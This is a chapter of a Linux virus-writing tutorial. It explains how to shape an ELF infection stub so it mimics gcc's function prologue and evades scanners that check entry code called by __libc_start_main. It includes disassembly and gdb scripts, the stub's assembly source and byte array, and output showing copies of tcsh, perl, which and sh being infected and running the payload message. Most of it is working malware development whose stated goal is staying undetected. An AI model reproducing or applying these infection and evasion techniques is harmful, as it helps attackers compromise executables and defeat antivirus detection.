A person who is more than casually interested in computers should be well schooled in machine language, since it is a fundamental part of a computer. | |
Donald Knuth |
The scanners in Turn the pages and Second scan check program layout for deviations. On a typical Linux distribution this yields good results since all programs are compiled and linked with the same set of tools. But there are legitimate reasons for executables to look different. Some rescue tools and non-free executables are linked statically to be independent of the target system. And then there is asmutils on http://linuxassembly.org/
asmutils is a set of miscellaneous utilities written in assembly language, targeted on embedded systems and small distributions (e.g. installation or rescue disks); also it contains a small libc and a crypto library. It features the smallest possible size and memory requirements, the fastest speed, and offers fairly good functionality.
The next best approach is to follow the flow of control and verify visited code, starting from the entry point. Again this relies on a certain homogeneity of executables.
A very simple check is alignment. We handle that here and here. gcc(1) never starts functions on odd addresses. But neither VIT nor RST seem to care and put the infection after the last byte of the code segment.
The improved versions of patchEntryAddr in The entry point do a primitive check of the call to __libc_start_main. Since we leave the entry point unmodified we pass this test.
The next step is to check entry code of functions called by __libc_start_main, especially main. We are vulnerable to this.
patchEntryAddr 3.0 patches the call of __libc_start_main to invoke our virus code instead of main. To stay undetected our code should mimic the real thing. The disassembly of our first program shows everything we need to know. But then that listing was retrieved through heavy cheating.
To disassembly the main of a regular executable we extend the exercise of Disassemble it again, Sam. Note that the script performs no kind of error checking. Feeding anything else than executable built by gcc(1) can have strange effects (like no output at all).
Command: src/stub_revisited/ndisasm.sh
#!/bin/sh
file=${1:-/bin/bash}
entry_point=$( od -j24 -An -td4 -N4 ${file} )
# 134512640 = 0x8048000
# 24 = offset to address of main in code of _start
main_point_ofs=$( expr ${entry_point} - 134512640 + 24 )
main=$( od -j${main_point_ofs} -An -td4 -N4 ${file} )
main_ofs=$( expr ${main} - 134512640 )
ndisasm -e ${main_ofs} -o ${main} -U ${file} \
| sed -e '16 q' |
First a simple test. Compare with above mentioned disassembly.
Output: out/stub_revisited/magic_elf.ndisasm
08048460 55 push ebp
08048461 89E5 mov ebp,esp
08048463 83EC0C sub esp,byte +0xc
08048466 6A03 push byte +0x3
08048468 6801800408 push dword 0x8048001
0804846D 6A01 push byte +0x1
0804846F E8A4FEFFFF call 0x8048318
08048474 31C0 xor eax,eax
08048476 C9 leave
08048477 C3 ret
08048478 90 nop
08048479 90 nop
0804847A 90 nop
0804847B 90 nop
0804847C 90 nop
0804847D 90 nop |
A look at tmp/doing_it_in_c/three/sh_infected.
Output: out/stub_revisited/sh_infected.ndisasm
080C1280 6880940508 push dword 0x8059480
080C1285 9C pushf
080C1286 60 pusha
080C1287 E804000000 call 0x80c1290
080C128C 61 popa
080C128D 9D popf
080C128E C3 ret
080C128F 90 nop
080C1290 55 push ebp
080C1291 89E5 mov ebp,esp
080C1293 57 push edi
080C1294 52 push edx
080C1295 E82A000000 call 0x80c12c4
080C129A 8D9000940408 lea edx,[eax+0x8049400]
080C12A0 89D7 mov edi,edx
080C12A2 FC cld |
And this is plain /bin/bash.
Output: out/stub_revisited/sh.ndisasm
08059480 55 push ebp
08059481 89E5 mov ebp,esp
08059483 57 push edi
08059484 56 push esi
08059485 53 push ebx
08059486 83EC24 sub esp,byte +0x24
08059489 6A01 push byte +0x1
0805948B 68E0BA0C08 push dword 0x80cbae0
08059490 E8A3F9FFFF call 0x8058e38
08059495 83C410 add esp,byte +0x10
08059498 85C0 test eax,eax
0805949A 740A jz 0x80594a6
0805949C 83EC0C sub esp,byte +0xc
0805949F 6A02 push byte +0x2
080594A1 E802FDFFFF call 0x80591a8
080594A6 E8A5780000 call 0x8060d50 |
The first two instructions, making up three bytes, are constant. They are followed by an optional series of push to save special registers. Then comes a sub esp to reserve space for local variables. This also seems to be constant. Trivial Section 3.1 does not use local variables and still ends up with a sub.
Let's examine the stack of In the language of mortals just after the sub was executed. Note that you don't have to quote character "$" in interactive gdb(1) sessions. Instead of "\$sp" you type plain "$sp" to reference the stack pointer.
Command: src/stub_revisited/gdb.sh
#!/bin/sh
file=${1:-tmp/magic_elf/magic_elf}
gdb ${file} -q <<EOT
break *0x08048466
run
backtrace
printf "esp=%08x ebp=%08x\n", \$esp, \$ebp
x/3xw \$sp
x/3xw \$sp + 12
x/3xw \$sp + 24
x/3xw \$sp + 36
x/3xw \$sp + 48
x/3xw \$sp + 60
x/3xw \$sp + 72
x/3xw \$sp + 84
x/3xw \$sp + 96
x/3xw \$sp + 108
EOT |
Output: out/stub_revisited/gdb
(gdb) Breakpoint 1 at 0x8048466
(gdb) Starting program: /home/alba/virus-writing-HOWTO/tmp/magic_elf/magic_elf
Breakpoint 1, 0x08048466 in main ()
(gdb) #0 0x08048466 in main ()
#1 0x4003e316 in __libc_start_main (main=0x8048460 <main>, argc=1,
ubp_av=0xbffff9c4, init=0x80482e0 <_init>, fini=0x80484c0 <_fini>,
rtld_fini=0x4000d2fc <_dl_fini>, stack_end=0xbffff9bc)
at ../sysdeps/generic/libc-start.c:129
(gdb) esp=bffff94c ebp=bffff958
(gdb) 0xbffff94c: 0x08048441 0x080494f8 0x080495f8
(gdb) 0xbffff958: 0xbffff998 0x4003e316 0x00000001
(gdb) 0xbffff964: 0xbffff9c4 0xbffff9cc 0x080482f6
(gdb) 0xbffff970: 0x080484c0 0x00000000 0xbffff998
(gdb) 0xbffff97c: 0x4003e302 0x00000000 0xbffff9cc
(gdb) 0xbffff988: 0x40151240 0x40015898 0x00000001
(gdb) 0xbffff994: 0x08048360 0x00000000 0x08048381
(gdb) 0xbffff9a0: 0x08048460 0x00000001 0xbffff9c4
(gdb) 0xbffff9ac: 0x080482e0 0x080484c0 0x4000d2fc
(gdb) 0xbffff9b8: 0xbffff9bc 0x40015eec 0x00000001
(gdb) |
Source: src/stub_revisited/infection.asm
BITS 32
push ebp
mov ebp,esp
sub esp,byte 0xc
call wrapper
leave
ret
align 4
wrapper: mov eax,dword 0
xchg eax,[ebp]
sub ebp,byte 4
mov [ebp],eax
align 16
core: |
Source: out/stub_revisited/infection.inc
const unsigned char Target::infection[]
__attribute__ (( aligned(16), section(".text") )) =
{
0x55, /* 00000000: push ebp */
0x89,0xE5, /* 00000001: mov ebp,esp */
0x83,0xEC,0x0C, /* 00000003: sub esp,byte +0xc */
0xE8,0x05,0x00,0x00,0x00, /* 00000006: call 0x10 */
0xC9, /* 0000000B: leave */
0xC3, /* 0000000C: ret */
0x90, /* 0000000D: nop */
0x90, /* 0000000E: nop */
0x90, /* 0000000F: nop */
0xB8,0x00,0x00,0x00,0x00, /* 00000010: mov eax,0x0 */
0x87,0x45,0x00, /* 00000015: xchg eax,[ebp+0x0] */
0x83,0xED,0x04, /* 00000018: sub ebp,byte +0x4 */
0x89,0x45,0x00, /* 0000001B: mov [ebp+0x0],eax */
0x90, /* 0000001E: nop */
0x90 /* 0000001F: nop */
}; |
Source: src/stub_revisited/entry_point_ofs.inc
enum { ENTRY_POINT_OFS = 0x11 }; |
Output: out/stub_revisited/three/cc
Infecting copy of /bin/tcsh... wrote 192 bytes, Ok
Infecting copy of /usr/bin/perl... wrote 192 bytes, Ok
Infecting copy of /usr/bin/which... wrote 192 bytes, Ok
Infecting copy of /bin/sh... wrote 192 bytes, Ok |
Output: out/stub_revisited/test
ELF is dead baby, ELF is dead.
/home/alba/virus-writing-HOWTO/tmp/stub_revisited/three/sh_infected
2.05.8(1)-release
/usr/bin/which
ELF is dead baby, ELF is dead.
/usr/bin/which
ELF is dead baby, ELF is dead.
tcsh 6.10.00 (Astron) 2000-11-19 (i386-intel-linux) options 8b,nls,dl,al,kan,rh,color,dspm
ELF is dead baby, ELF is dead.
ELF is dead baby, ELF is dead.
GNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)
Copyright 2000 Free Software Foundation, Inc. |